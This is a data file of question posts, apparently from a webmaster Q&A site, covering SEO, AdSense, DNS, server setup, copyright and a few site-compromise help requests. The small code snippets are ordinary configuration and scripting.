{"id":"68895","title":"Inline display not actually working (-fix my html- dump)","text":"div id=\"services\"> <div id=\"row-\"> <div id=\"doc-girl\"> <img src=\"images\/friendly.jpg\"> <p> dolor sit amet <\/p> <\/div> <div id=\"armband\"> <img src=\"images\/armband.jpg\"> <p> dolor sit amet <\/p> <\/div> <\/div> That is the html that basically binds the divs into one div the css is: width:350px; } #row- { width:650px; } #doc-girl { display:inline; } #armband { } Now it should display the image is #doc-girl and the image in #armband next to each other, but they display like list items, can you see the problem?"}
{"id":"13654","title":"Using licensed custom fonts for commercial site","text":"What are the legalities regarding using licensed fonts for webpages? It will be used for a for a commercial site. I do not want to get into trouble by using it without a license, (although I do hear a lot of complaints about the industry in general), but how severe are the penalties realistically?"}
{"id":"13655","title":"Facebook Like button for sessions or entire conference?","text":"I'm putting together an online conference program. The conference has hundreds of sessions. When adding a Facebook Like button, I'm trying to decide: Choice 1: **All the Like buttons should like the conference as a whole.** Pluses and minuses: * `+` Higher like counts will seem much more impressive to viewers. * `+` Will reach 30 likes much faster for Insight metrics * `-` No way to Like an individual Presenter or Session Choice 2: **Individual Like buttons for each Presenter and Session.** * `+` People are able to Like an individual Presenter or Session * `-` Much lower like counts will not seem impressive to viewers. * `-` Will take much longer to reach 30 likes for a specific Presenter\/Session for Insight metrics Since the name of the game is high Like numbers, I'm thinking that choice 1 is the way to go: People liking the overall conference. But the purist in me would like to be able to Like a specific presenter\/session. But there's no \"Like related items\" so I can't pass the Like juice to the individual sessions etc. Right? Advice? Thanks."}
{"id":"13657","title":"Share buttons vs sharer urls","text":"As some people might know, adding share buttons from Facebook and Twitter can cause a page to slow down. I've seen many sites pass on the common iframe implementations that these sites offer and simply create icons that link to a sharer url for better control of page performance. http:\/\/www.facebook.com\/sharer\/sharer.php?u=http%3A%2F%2Fwww.cnn.com%2F&t=CNN%26s+website%27 However, I've also read that Facebook is dropping support for these links. For example, this link now redirects to the Like Button. http:\/\/www.facebook.com\/facebook-widgets\/share.php Here is an article noting that Facebook is deprecating\/has deprecated it's share functionality and is sticking with the Like button. http:\/\/www.barbariangroup.com\/posts\/7544-the_facebook_share_button_has_been_deprecated_called_it I'm assuming this is the same for the sharing url. If the sharer url is no longer a reliable option, what other methods are there besides using 3rd party widgets (like Addthis)?"}
{"id":"14553","title":"Old pages still appearing in Google?","text":"Many pages that have been deleted for a long time are still appearing in Google? When I then click on them, they obviously can't be found. Am I doing something wrong\/forgetting something?"}
{"id":"11244","title":"Will the rest of my clients be affected if google blocks a site on the same server?","text":"I am about to take on a client who is a mutual friend of someone I know. He has a legit business, but one of his competitors somehow complained to google and got his whole site blocked. He's starting a different venture now, but I worry - what if this happened to another site I am hosting on a vps for example. Would the fact that I have a blocked site on my server affect my other clients? Could their sites be blocked too for using the same IP address? What are the risks involved?"}
{"id":"22966","title":"How to move IIS7 site from one server to another","text":"What is the process to copy an entire .NET website from one server to another server? Both sites are running Windows Server 2008, IIS7, and SQL 2008? * The base site is the live site * The new site is going to be used as a development site * The server hosting the development site has other, existing sites in IIS * The servers are on different networks and have different internet domain names Part of this is easily done, such as copying the database and restoring it. The same can be said for the copying of the directory of files the IIS site gets pointed to -- no help needed for those tasks. After the database and files are copied over, what are the necessary steps to make the site functional on the second server?"}
{"id":"11246","title":"Adwords search engine marketing (SEM) question","text":"I have to promote this site, http:\/\/www.bulldozer-mobile.com. My site is for phone 7 application and I've just develop an application \"fart and burp\" for phone 7. So according to my guide I have use keyword tools (Google) to see what keywords to make ads for. I've try to search my words: phone 7 apps phone 7 app fart phone 7 fart app for phone 7 All of this is for United States and UK but all words that I search return me 0 click and 0,05$ for 1 position or at the best 13-18 click for all world. Is there a way to achieve 50 clicks a day? my budget is $70 just for start can anyone help me? thanks"}
{"id":"16028","title":"Google Adsense code?","text":"The google adsense code contains a reference to a javascript file. If I have 3 ad units on a single page, can I remove this reference from the other two because it is just the same. Will it violate the \"don't manipulate the code\" rule of google adsense?"}
{"id":"5808","title":"mailto link is a spam flag, what is the simplest way to explain this to business person","text":"Do you agree that it is generally bad practice to include mail to links and emails in websites because of spam and the various malicious agents that search and use emails? If so how could I explain this to someone that has a website but doesn't know how to use their own cms?"}
{"id":"19038","title":"Business not appearing in Google maps at all","text":"I'm having problems with listing my business on Google Places for Business. I wish I can send you a link to my business page but can't find it even if I type on google my business address!. Anyway, the business web site associated with my Google business page is \"pressurecleaningandsealing.com\". I used a domain forward from a GoDaddy domain (pressurecleaningandsealing.com) to \"aqua-pressure.net\". I can see that the way this forwarding is done is by showing the actual page in an iFrame inside the new domain. I once did this before for another business and it worked great. It ranked up as soon as I did the forwarding from a domain that contained a couple of keywords I wanted to rank for and listed this domain on the Google Business page. The weird thing is that my business doesn't appear at all on google results when I type \"pressure cleaning and sealing near cooconut creek\". Almost seems like the business is being banned for some reason. I have a Google Webmaster Tools and it doesn't show any error. The domain is about 3 weeks old (the other business I mentioned above ranked up to first page the very same day I purchased the domain)."}
{"id":"51329","title":"Is it possible to combine two hosts into one Google Webmaster Tools dashboard?","text":"I have a web site running under `www`. Recently, we added some functionality that had different hosting requirements, so we added a `ww2` hostname. Is there any way to combine both hosts into one dashboard? There is different content running on the two servers, so I can't use the canonical link functionality. A typical session would have someone follow a link from `www` -> `ww2` -> `www`."}
{"id":"19036","title":"The fastest way to get to Google paid ads","text":"Here's my question, it happened that we need to promote a website asap. it is a low competition local keyword. We want to be able to put it on paid ads (the coloured rectangle #1 in this image) http:\/\/www.aimadvantage.com\/graphics\/google-top-10.jpg I know NOTHING about this kind of things. I just know that it can take several months before seeing results. I thought that paid advertising can make it quicker. Is it true? I do not know whether it helps, but the exact keyword in keyword tool says nothing, but similar keyword says: > global monthly search: 880 > Local monthly search: 720 > Competition: high Your advise is appreciated!"}
{"id":"16022","title":"import.php parameter missing?","text":"Whenever I try to delete or update any of my tables in phpMyAdmin I receive the following error: 1.import.php: Missing parameter: import_type. 2.tbl-alter.php missing parameters:field I have looked at the php.ini config file and changed the following settings: session.save_path =\"c:\/xampp\/tmp\" to session.save_path =\"C:\/xampp\/session\/data\" Why is phpMyAdmin not letting me delete or update any of the tables within the database?"}
{"id":"5800","title":"I need articles to use in a commercial project, what open content licenses will work?","text":"I'm designing some web templates, and I need to add some sample content in them, like articles and stuff. I was wondering where can I find such sample articles to include in the template demo? I don't want to use the usual Lorem Ipsum thing :) The templates would be sold commercially, so I assume the I'll need to use only content that has a license which grants you the right to use it commercially. I'm thinking that GPL licensed content could be appropriate. I thought of uncyclopedia but it's under creative commons which apparently lets you use their content only if you are using it for non-commercial purposes."}
{"id":"19030","title":"What is the benefit of the \"download will begin shortly\" page?","text":"I've noticed many websites that host files for downloads have an interstitial page between the download link\/button and the actual start of the download. Terminology on the page may include \"Your download will begin shortly. If it does not, try this direct link\". What is the purpose of this page? It seems to draw away from the general experience of downloading a file. Is this beneficial for bookmarking? Less experienced users? Analytics?"}
{"id":"51493","title":"SEO consideration for downloadable files","text":"I used to serve PDF files as static file: http:\/\/domain.com\/pdf\/file1.pdf and PDF files perfectly indexed by Google and other search engines. Then I decided to change my structure to place pdf files outside public folder, and then make them downloadable through PHP as http:\/\/domain.com\/pdf.php?id=1 The PDF files with the new structure have not been indexed by search engines. From SEO point of view, is it better to serve PDF files as static files, rather than making them downloadable through a PHP script? The script looks like header('Content-Description: File Transfer'); header('Content-Type: application\/octet-stream'); header('Content-Disposition: attachment; filename=\"'.$filename.'\"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); ob_clean(); flush(); readfile($file); exit;"}
{"id":"55825","title":"Google Rich Snippets indexing fall","text":"To 12th November 2013 there were about 3000 pages with structured data indexed for our site according to Google Webmaster Tools. There were stars and all related information in search results. But after the 12th, a sharp drop began in indexing and at this moment we are seeing that only 54 pages will display stars in search results and this is true. We can't understand why it happened. Here are some facts that maybe useful: 1. On November 1st we have moved our site from http to https and added 301 redirects from http to https pages. 2. On November 25th we have broken some structured data markup but fixed it on December 2nd. 3. We have made a request to Google Support about Rich Snippets and they said that markup is valid: > Thank you for your interest in rich snippets for your site. > > We have now reviewed your site and found that your usage of structured data > markup meets our guidelines and is eligible to have rich snippets shown in > our search results. > > Regards, The Google Team for Rich Snippets 4. There are still some old links with http schema exist in Google Search results with stars (e.g. https:\/\/www.google.com.ua\/search?q=East+Meets+West+Yoga+-+Williamsville). 5. We tried to change pages' meta descriptions and Google re-indexed them. But structured data still don't appear. **Here is Structured Data index status chart:**  **Here are some links:** https:\/\/www.wellnessliving.com\/ms\/bikeorbar\/review\/ https:\/\/www.wellnessliving.com\/ms\/body__brain_yoga_clark\/review\/ https:\/\/www.wellnessliving.com\/ms\/dahn_yoga_center_libertyville\/review\/ https:\/\/www.wellnessliving.com\/ms\/sacred_sounds_yoga\/review\/ Two weeks passed but nothing changed. Please, help :)."}
{"id":"17379","title":"Lightweight online opensource css editor - php","text":"I'm looking for an online **opensource** editor for **css files**. It should have **syntax highlighting**. Also it should be **easily integratable** within php code. **Edit:** I need something like `textarea` that highlights my css code. And i want to add it to my website so i can change my css from everyplace."}
{"id":"56649","title":"SEO subdomain as root domain","text":"I'm wondering: suppose I have a website for chicken restaurant and my domain is `chicken.com`, shouldn't be better to have main site on `restaurant.chicken.com` as primary domain (root domain) in terms of SEO and PageRank?"}
{"id":"64791","title":"Can I benefit from links to pages on my site which have a `noindex` meta tag?","text":"I'm trying to understand if\/how I can benefit from people linking to pages on my site which are with pages that have a `noindex` meta tag. 2 actions I'm considering to perform: * Remove the robots.txt disallow to these pages, to make sure inner links get the propagated link juice. * Adding a canonical tag to the most similar page that doesn't have a `noindex` meta tag Are these valid approaches that might help? Any others I should consider?"}
{"id":"17373","title":"Importance of custom 404 pages?","text":"I've read in a few design blogs that it's important to design custom 404 pages, but why is this? Don't most users know what these are as you tend to end up seeing them from time to time. Also, if your making a small site where the page's names won't change and pages won't be deleted, how likely are users to get a 404? Admittedly, I don't look very carefully at any analytics but I imagine users to my sites see them very often at all."}
{"id":"17371","title":"How should incorrectly encoded URLs be handled?","text":"Just recently noticed that some sites link with the URL incorrectly percent- encoded, to which my server (LAMP) responds with a 404 Not Found. For example, for a URL of mine like this: http:\/\/www.site.com\/page.php?param=value They link to it like this: http:\/\/www.site.com\/page.php%3Fparam%3Dvalue So: * Who is wrong? My server for not understanding? or the linking site for not specifying the URL properly? * Could something be done to configure Apache to understand the misencoded query string delimiter (`%3F` instead of `?`)? * If not, would it be safe to setup redirects by translating the `%3F` to `?`?"}
{"id":"17377","title":"Images in blog posts","text":"I see a lot of blogs (coding horror for example) that seem to feature random pictures in the entries. Would I be correct in saying they probably didn't seek permission to use those images? What are the rules around this? Can I use any image I want in my blog post? Or do I have to seek permission? I'm thinking there might be a sort of reasonable journalistic usage thing here if your blog is somehow classed as a journalistic venture? Or am I mistaken?"}
{"id":"25369","title":"Do crawlers require a robots.txt file before indexing content?","text":"Do you need a robots.txt file for the crawlers to index your site, or it is just to disallow any content that you don't want crawlers to index?"}
{"id":"25365","title":"is there a way for visitors to register TLDs without leaving my site?","text":"I want to allow users on my site to register a domain without having to go to a domain registar's site. They would not need to manage the domain ... it will simply be linked to their site. (Exactly like wordpress.com.) Let's say that domain registering costs are extraneous to this scenario. ### I (think I) know * ... that there is an totalitarian system or entity (iCANN?) by which all domains must be registered. * ... that only certified companies (i.e. GoDaddy,eNom,etc) can register domains directly. ### So ... Short of hacking a domain registrar's server and shadowing their code (illegal and immoral, so clearly out of the question), or becoming accredited as a registrar (probably not feasible), the only possibility seems to be to programmatically register domains through a registrar --- so that is what I am trying to accomplish. I either want to know ... * Is there a domain registrar that offers an API for purchasing domains? or * What software solutions will allow me to login and complete transactions on a third-party site? How reliable and secure are they?"}
{"id":"23903","title":"How can I browse to my new hosting site using browser?","text":"Hi I have a new hosting site and my domain is still redirecting to my old domain.I have now my shared IP address and ftp details. How can I browse my new hosting site using `http:\/\/ipaddress\/foldername` (ex:`http:\/\/192.255.255.0`) So I can test if my scipt is running?"}
{"id":"55946","title":"Offering subdomains what are the risks?","text":"I am interested in offering subdomains to people who want them e.g. `helloworld.mydomain.com` or `blah.mydomain.com`. It is pretty much how WordPress or Blogspot handle their subdomains but I would not be hosting anything - just pointing to the person's website host location. If somebody was to upload illegal content to `helloworld.mydomain.com` - would all sites under `mydomain.com` suffer?"}
{"id":"11799","title":"Web Server requirements","text":"What are the server requirements for deploying a web portal. This web portal will be used by the public for registering, querying the record and uploading documents. once uploaded, the documents need to be made available in a database for which a separate server is already in place. 10,000 users are supposed to log in per day. Requirements on Application server and webser configuration is required. Can any one help me on this?"}
{"id":"11798","title":"Joomla: How can I prevent certain user from visiting a certain page?","text":"I have an internal section in my Joomla only for \"Registered\" users. There they can edit preferences. Multiple users can access the same preferences (different stakeholders). Now I have \"smithcorp\" and \"smithcorp_guest\". They should both be able to view the same things, but \"smithcorp_guest\" shouldn't be able to edit the preferences. Is there a way to forbid \"smithcorp_guest\" access to this page? I have only seen access regulation via the user level, i.e. unregistered, registered, admin."}
{"id":"23906","title":"Domain name A record not getting update","text":"I had my domain setup on a friends server until recently, but now I'm moving out from his VPS and would like to host the site on Posterous\/Tumblr. Both these blogs ask for a A record to be update with my domain registrar and although I did that, the domain seems to be pointing to the old name servers. The problem for that seems the name servers which I was using for the previous VPS hosting is still present and I'm unable to remove it. On asking the domain register support they replied saying that > As per registry rules you require to provide any two valid NS, we cannot > keep value as blank. I'm in a fix of wasting my domain as I would not want to use it anywhere else. Any help would be appreciated. The domain is http:\/\/reversepolartiy.in"}
{"id":"69032","title":"Clean URLs won't work in Drupal 7 on IIS","text":"I am using Drupal 7 and IIS 8 as my web server. When I click _Clean URLs_ in the configuration, I check it and then click save, then it loads the page without the box checked. However I can type in the URL alias of page ex: `example.com\/?q=user` and `domain.com\/user` both go to the same page. However when it creates the menus and such, the links all contain the `?q=` parameter. I checked the _web.config_ and copied the one Drupal said to use, even though they looked identical, but I am lost as to why this won't work. Any insights would be helpful."}
{"id":"11793","title":"Blackhat SEO, reviewing a sites strategy","text":"There is a website I am interested in reviewing for academic purposes. It is a highly corrupt business in my opinion, and is still very popular and profitable. I believe it is using Blackhat SEO techniques to push down the rankings of pages that criticise it's operation, one technique it uses is domain spamming, buying multiple domains in an effort to flood results with positive messages. It has also been known to shill (send paid employees to forums on other sites spreading good sentiments about it's business, this has been proven as IP's came from their HQ). I would like to fairly review it's site, and the site of competitors in regards to their application of Blackhat techniques. Is there a definitive list of Blackhat techniques? A definitive and respected check list that I can go through? **In other words, is it possible to ethically review a site, has anyone ever tried doing this before and how do you do it?**"}
{"id":"23909","title":"SEO for Dynamic website","text":"For static websites, I always made a Sitemap.xml file and submitted it to search engines like google, bing etc. But now, I have made a website in Asp.net MVC which has 3 dynamic pages which yields content for the supplied id. For example there is a _Store_ controller with _Section_ action method that takes an _id_ (like electronics) as parameter and shows the result for it. Since the website is dynamic in nature, I am not sure whether I should make a sitemap or not. And if I should what should the sitemap have. In essence, How can i submit my site to search engines for indexing? I tried checking Programmers and SO for sitemap and they don't have any. So does this mean i should leave it entirely on google bots to discover my site and index it. I just need to know the basic steps for a dynamic Asp.net MVC website"}
{"id":"53311","title":"Getting page indexed after fixing rel canonical error","text":"I found a WordPress plugin created a `rel=\"canonical\"` error in a section of my site. This error caused lower pages to point to the main page via a `rel=\"canonical\"`. I fixed the error 3 weeks ago and removed `rel=\"canonical\"` from my site. However, Google will not seem to index the lower pages that had the `rel=\"canonical\"`error. Am I just doomed with getting these lower pages indexed now that my `rel=\"canonical\"` error originally told Google these pages were duplicates of the main page? I even submitted that whole section of the site to be recrawled in Webmaster Tools but Google will not index the lower pages. Anyone have any other tips I should follow?"}
{"id":"58246","title":"Is it worth the gain in SEO to have 3 sites of mine have links between them?","text":"Is it worth the gain in SEO to put in the effort of cross-linking 3 sites that I own? That would mean maintaining 3 sites rather than say just 1. But if there's crosslinks between those 3 sites does it improve SEO? Or on the other hand do Google's and Bing's algorithms not really care if a large volume of inbound links are from the same 3 sites?"}
{"id":"27218","title":"Is it a bad practice to register sntsh.com if my name is Santosh?","text":"My name is **Santosh** but I can't register a **santosh.com** because it is already taken. Most extensions for Santosh are already taken. I was trying to register a domain with **.sh** extension but santo.sh would cost me very high and I can't afford ~$100 for just a personal domain and that's only for **one** year only. Now I am thinking that I should register a **sntsh.com**. But there is a problem, will sntsh.com over my name Santosh don't create a **SEO problem**? One more thing, that totally different from above topic. If I register a santosh.name domain which is not registered, won't it create copyright and any legal problems with other santosh domains?"}
{"id":"21078","title":"Website Layout Design","text":"> **Possible Duplicate:** > Any tool to sketch layout? We use Visio for UML Diagrams \/ Flow chart Diagrams. We are actually looking for a Software like Visio, on which we can design the structure of Website Layout and view it before you actually start the POC \/ Development. Is there any software like visio, can help us to design a website layout for presentation ?"}
{"id":"55940","title":"New domains websites not under another domains directory Plesk 11","text":"i am trying to build up my new server and found some strange behaviour in the hosting configuration. I created a user for my websites and logged in. Then i created my first domain entry webspace1.com. When i now add a new domain it needs a Document root setting but this is always inside the first created domains webspace. \/var\/www\/vhosts\/webspace1.com\/httpdocs is the document root for the main entry like it should be. When i now add a new Domain webspace2.com plesk creates a directory \/var\/www\/vhosts\/webspace2.com with some directories like it should be. But my web root lies under \/var\/www\/vhosts\/webspace1.com\/example2.com\/. Can i configure it so that the newly created domains get their webspace inside their own directory like it was in older versions of plesk? Or must i then make another account for every single domain i create?"}
{"id":"69015","title":"Redirecting HTTPS to HTTP without purchasing another IP address","text":"So in the past I have always bought a new IP when working with SSL certs. I came across a client that is on a shared IP and using a cert for one of the sites but not the others. So domain #1 has cert on it, and Domain #2 doesn't. Domain #2 has things in Google indexed with HTTPS on them. I need to block HTTPS on domain #2 as it shouldn't be using it and I don't want HTTPS versions of pages appearing in Google's index. How can I go about doing this without purchasing another IP? Is dropping the below code into my _.htaccess_ file a good approach? Options +FollowSymlinks RewriteEngine on RewriteBase \/ RewriteCond %{SERVER_PORT} ^443$ [OR] RewriteCond %{HTTPS} =on RewriteRule ^(.*)$ http:\/\/www.example.com\/$1 [R=301,L]"}
{"id":"50896","title":"Browsers treat vertical tab characters in input type=text differently. Is one of them correct?","text":"In developing some server side validation I discovered that (the latest Windows versions as of this writing of) Firefox, Chrome and Internet Explorer handle vertical tab characters differently in `input type=text` form fields. I had a hard time trying to paste the character into any of the browsers so I used JavaScript to populate the text input on my test form like this: document.getElementById('theField').setAttribute('value', \"hello\\vthere\"); You can see some of the client side differences in this JSFiddle. There are differences in how the browsers: * display the value in the input field. * allow JavaScript to fetch the value back out * render the character when used to populate innerHTML of a `<pre>` tag * send the value to the server. This table below shows what I found: Browser | displayed | put into pre-tag | logged to console | received by server ------------------------------------------------------------------------------------ Chrome | hello | hellothere | hellothere | hello ------------------------------------------------------------------------------------ Safari | hello | hellothere | hellothere | hello ------------------------------------------------------------------------------------ Firefox | hellothere | hellothere | hellothere | hello FF cont. | | | | there ------------------------------------------------------------------------------------ IE | hello there | hello there | hello | hello IE cont. | | | there | there ------------------------------------------------------------------------------------ Opera | hellothere | hello | hello | hello Op cont. | | there | there | there For the console I used each browser's built in developer tools (I couldn't get the JSFiddle to work with Firebug). Is there a specification on how browsers are supposed to handle this character in this type of form field? If so what is the specification and which browser is following it?"}
{"id":"20843","title":"Can I use CSS to hide the tracking gif used by Google Analytics Mobile?","text":"I am redesigning my mobile website which uses a 1x1px Google Analytics for Mobile Websites tracking gif. The old design displayed the image at the foot of the page, but my new design hides the gif with CSS (`display:none`). Will this have any affect on the tracking of the site? * ** _edit_ *** Whilst I have moved my tracking gif and solved the immediate issue I am hearing conflicting answers as to whether an image with `display:none` is, or is not, downloaded. Can anyone link to any official documentation?"}
{"id":"69019","title":"Should I 301 permanent redirect to my custom 404 page?","text":"I'm trying to figure out the correct way to send visitors to a custom 404 page when they hit a page that doesn't exist. Is issuing a 301 redirect to the custom 404 page the recommended method?"}
{"id":"20840","title":"What are the types of verification which can be used for a social networking website?","text":"I'm developing a social networking website for a small network. I would like to keep more security on registration process. I would like to keep some verification methods like SMS, Visa and Paypal (if i can have) etc. so please suggest what I can use. The site is developed using Joomla."}
{"id":"20844","title":"Photos - do I really need to look for the author and ask his permission when posting them on my site?","text":"When I find a photo somewhere on the internet, without any explicit information of whether I can re-publish it on my own website, without any hint of who is the owner\/author of that photo, can I still do it? I'm puzzled here cause I've seen like millions of websites, often very big, that repost photos, most probably found via google and it's VERY unlikely they bothered to look for and contact the author of that photos. Is every one of that sites likely to be sued at any moment? What about the case of forums and content provided by users - there is virtually no way of prevention here."}
{"id":"53892","title":"Programmer used my email address to send trojans - what to do?","text":"I forwarded my cPanel password to a programmer who was suppose to work on the website. Unfortunately he abuse my trust to create a new email account which he used after to send trojans. The hosting service caught it after aprox. 15.000 email were send and blocked the account. I deleted that account but I'm worried to get some kind of blacklisted for any email address with that `@example.com` ending or even worst the whole website `example.com`. It there something I need to do to be able to prevent that?"}
{"id":"50894","title":"Web page has well over 100 anchor tags - how to improve SEO without taking anchors out?","text":"I have a website where the main menu has 10 level 1 items and each has roughly 10 level 2 items plus there are links in the header and footer and side bar plus some links in the content. All these links are standard anchor tags in the HTML source. I keep hearing \/ being told to slash the number of links for SEO purposes, I want to keep all these links because they are part of the design and are convenient. I've heard `rel=\"nofollow\"` won't help and isn't W3C compliant what should I do? UPDATE: I am concerned about splitting page rank between over 100 links, there should be a way of having a load of links on a page without them getting page rank. I've also heard that `rel=\"noFollow\"` is not the answer because it evaporates PR."}
{"id":"53896","title":"Any alternatives to Google's clearPixel.gif 404 not found?","text":"I recently noticed the following Google-related error on our website pages: > GET > http:\/\/pagead2.googlesyndication.com\/teracent_product_template_V1\/clearPixel.gif > 404 (Not Found) > pagead2.googlesyndication.com\/teracent_product_template_V1\/clearPixel.gif:1 I'm wondering if this is hindering AdSense clicks from registering with Google. I'm using the asynch analytics code that begins with: <script async src=\"http:\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js\"><\/script>"}
{"id":"53897","title":"Are AdSense earnings capped based on the number of pages on your site?","text":"So I wasn't quite sure how to word the question, so feel free to edit... We have several sites that have been earning consistent AdSense revenue. In an attempt to gain more revenue, we placed a pass-through page between search result links and their pages (external). While the revenue went up for those pass-through clicks (obviously), it seems that the % of clicks has gone down on all the other ads. CPC's went down a bit, while page views remained consistent. We tested some clicks, and noticed that they were not registering. So I'm curious to know if anyone else has experienced this. Is there some ratio of how much you can make with AdSense vs the # of pages on your site?"}
{"id":"36344","title":"Dreamweaver convert frames to divs","text":"I have an index.html that's split into 3 frames. I want to change it to divs. The \"convert tables to ap divs\" is grayed out, is there anything I can do? I was following the instructions from here: http:\/\/www.ehow.com\/how_8598389_convert-frames-divs-dreamweaver.html If the convert doesn't work for frames is there any other way to do it? Thanks, AZ"}
{"id":"25504","title":"Google Webmaster Tools URLs in the index differ from the sitemap. How comes?","text":"Google Webmaster Tools says ~14000 URLs in the index but as you can see in the following picture there are only ~6500 from the sitemap. How comes? I mean: my website is **not** properly \"crawl-able\". So google can only use the sitemap (and that's where I'm lost actually) For example: if you google (in France) this: \"tondeur de moutons lot et gronne\" my website is second. But you can't access directly to this page from my website (= you have to go through the \"search page\" and type **by hand** \"tondeur\". So what I mean is that there are very few pages (~ 100) that a bot can \"guess\" without the whole sitemap. * google may not have crawled the full website but it says \"14000 URLs are in the index\" * if so, why google can display some results that are only in the sitemap? * if google has indexed ~6500 URLs from the sitemap, why does it say \"14635\"? So... well err I'm lost... any idea? "}
{"id":"30590","title":"lost google apps registration code, any idea where i can get a new one?","text":"I set up Google Apps but then lost the verification code\/file to upload, if I go back to Google and re-apply they say > This domain has already been registered with Google Apps. Please contact > your domain administrator for instructions on using Google Apps with this > domain. But it hasn't been verified, so I'm kind of stuck in a loop."}
{"id":"16636","title":"Correct element for rendered page title?","text":"For SEO reasons, I've understood that it is important that the pages top most h1 is descriptive of the page's actual content. If one also wishes to have the site title at the top most part of the page, what element would this be put in? For example, take a simple blog. If one wishes to have the blog post header to be the top most h1, but want to have the blog name visible at the top of each post, in what element would this best be put? My guess is that it could be put within a span or p, but this would make a span or p be placed above the first header of the page, which perhaps could be argued to be bad semantics. Any ideas?"}
{"id":"16688","title":"Does having blog and news on company's webpage come in pair?","text":"I've recently opened up small IT company which main tasks will be to administrate it infrastructure, outsourcing it, programming small applications (and release some of them for free, some to be bought), do some consulting, integrations. Basically everything IT company can do I'm going to do (on beginning alone, later on with employees). So I've decided to have a webpage for my company but I can't decide on some little things in webdesign. I don't want to overload the page so I wanted the page to be good looking, functional and attractive to potential customers. I was wondering then if Blog can or even should coexist with news page? Or should everything be done in form of Blog (news about new deal with client x, news about new program my company released, but also news on new Eset Smart Security being out and being offered by my company as reseller \/ consulting type). Also I am a bit techy so sometimes I would write about some administration issues \/ programming related things... or maybe I should skip it and never do that on company webpage? I would like this company site to evolve to something more then `just` another company's website... Or maybe it would be better to split those two?"}
{"id":"58801","title":"Tumblr is visiting my blog?","text":"I have created a blog on Tumblr a few days ago. Looking over the statistics, it seems that Tumblr itself is visiting my website, using different browsers. What is this supposed to mean? Are these real visitors or is it a Tumblr bot? One example: * Browser: Chrome 32.0 * OS: Win8 * Resolution: 1024x768 * Location: New York, United States * IP Address: Tumblr (66.6.40.249) * Referring URL: (No referring link) Other browsers used include: * Chrome 20.0.1090.0 * Firefox 21 * Opera 12.14 * Chrome 15.0.861.0 * Chrome 32.0.1667.0 * Internet Explorer 6 * Internet Explorer 9 * Opera 12 * Opera 12.02 They _all_ use the same screen resolution (1024x768) and have no referrer. The flash version is not set, but they do support javascript. Unfortunately, I don't have the full user agent string."}
{"id":"16681","title":"How to change the listening port on IIS 7 web application?","text":"I have an apache running on port 80, I want to move my Web Applications to *:8080 But I don't remember how. I've seen this link but **Edit Bindings** isn't in my options list. Not even in **Basic Settings** nor in **Advanced Settings**. Heres An image of What I've got. "}
{"id":"16683","title":"Fake Windows Security Alert","text":"I have a website which is redirecting users to a fake windows security alert and I'm not to sure how to get rid of it. What's weird is that it's only happening in IE and that it seems to happen the first time visiting the site but then will not happen again (even after clearing cache and cookies). This is what my site is being redirected to: http:\/\/assets.malwarehelp.org\/blog\/wp-content\/uploads\/2009\/09\/04.jpg I've looked through the source and haven't found any injected scripts. I'm not too sure where to go from here. Any help is appreciated. This is my site and the link which I was getting reports about: http:\/\/www.agendaprofile.com\/skill-builder#16012ce4a0"}
{"id":"37551","title":"How to point GoDaddy to EntryDNS domain","text":"I have a server connected via dynamic IP. I have set up EntryDNS to manage the change of my IP. If I put in my EntryDNS URL it points me to my server's current IP. I purchased a domain from GoDaddy, but I have been unable to get it to point to my EntryDNS. What I want is to be able to ssh to my server, but ideally I'd like to do this by using my domain name. I must confess I'm a bit overwhelmed by the GoDaddy interface. So the bottom line is, how do I point my GoDaddy domain to my DNS domain so that when I look up the domain I get the current IP of the server?"}
{"id":"57969","title":"Google Analytics - relatively compare segments","text":"Is there a way to relatively compare two different segments in Google Analytics over time? For example, I'd like to see the percentage of the segment mobile traffic (segment A) which comes from search (segment B) over time to answer the question: what part (%) of my mobile traffic has come from search engines over time? (has the contribution of search traffic to mobile increased or decreased) The only way I know to answer questions like these is to plot both segments and see whether the lines are getting closer to eachother or further away from eachother."}
{"id":"10356","title":"Where is the query string pagewanted=all coming from?","text":"On my site I use CodeIgniter, which does not allow any use of query strings. Any unacceptable characters in a URL result in a 400 error. In Google Webmaster Tools I'm seeing several crawl errors where the page is shown as `example.com\/asd?pagewanted=all`. Does anyone know where this query string comes from? Is it from another website, search engine or software?"}
{"id":"10357","title":"Do CDNs work with POST operations?","text":"I'm using a CDN (Level3) for the first time and I'm a bit confused. I'm accessing dynamic URLs such as http:\/\/cdn.mysite.com?getItem=1234 that return text data. 1. Do CDNs work with HTTP POST operations? When i issue a HTTP POST operation, my \"real\" server receives this request every time, so I'm wondering if the CDN has a problem with POST operations. 2. If i use HTTP GET it seems to work, i call the URL once (from my application), i can see my server receiving the request. If i call it a second time, the CDN delivers it directly, my server doesn't get anything. However if i open same the link manually from a second browser tab, my server is asked to deliver again, shouldn't it be cached by now? Many thanks."}
{"id":"10351","title":"Getting IP\/WHOIS information from users clicking ads in Google AdWords?","text":"I am running a Google AdWords campaign and am wondering if I can get any information from the people who click my ads? I already collect statistics on the website, but I get no referer information from the Google ads in the search network, only from the display network. I am also running Google Analytics on the website but I can't find any relevant information there. P.S: Tag suggestion: google-adwords"}
{"id":"14972","title":"Serverless Web Application","text":"In my company we work on a software that produce reports in html format. My bosses love the fact that static html pages can be moved across computer simply by moving\/copying a folder and no web server is involved, so the customer only need a browser. The problem is that they asking me to implement a lot of feature which is very hard to implement properly and in a clean way without an application server. Frames cross domain problem, the impossibility to work with GET and POST data, no URLs routing...is very hard to work with this limitations. Anyone had similiar experience and wants to share their tricks\/suggestion ? Do I need to tell my boss 'there is no future without a web server'? Regards."}
{"id":"10353","title":"What is recommended - UC or EV or EV UC certificate?","text":"We are implementing Exchange 2010 server and an eCommerce site. Both of these need certificates and I am confused what to use? I know Exchange need UC certificate. Can I use it for the ecommerce site as well? I did read EV is recommended for web sites.. I would like to know what to use and the recommended procedures. Here how we will be using the certificates: 1. We are planning to use *.net for testing Exchange server 2. Will be using *.com for Exchange server (Production) 3. Will be using *.com for ecommerce site (Production) I also heard about certificates which are both EV UC.. please recommend the correct certificates to use."}
